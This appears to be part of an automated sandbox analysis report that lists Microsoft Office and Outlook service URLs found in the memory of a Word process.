Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office365.com
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office365.com/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/D
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: WINWORD.EXE, 00000001.00000003.291974045.0000000010ADE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292057510.0000000010AE3000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=OutlookMBI_SSL_SHORT
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx6
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspxW
Source: WINWORD.EXE, 00000001.00000003.417530932.0000000010865000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonT
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://powerlift-frontdesk.acompli.netN8d
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://powerlift.acompli.net
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://roaming.edog.
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://settings.outlook.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://settings.outlook.comS
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://shell.suite.office.com:1443V5L
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://staging.cortana.ai
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://staging.cortana.airlj
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://storage.live.com/clientlogs/uploadlocationK
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://store.office.de/addinstemplateZ;p
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com%
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com&
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com/Todo-Internal.ReadWrite
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory~j
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com/search/api/v2/inithJ
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com;
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comL
Source: WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comP
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comc
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comcB
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comgz
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comm
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://tasks.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://tasks.office.comt
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://tellmeservice.osi.office.netst
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
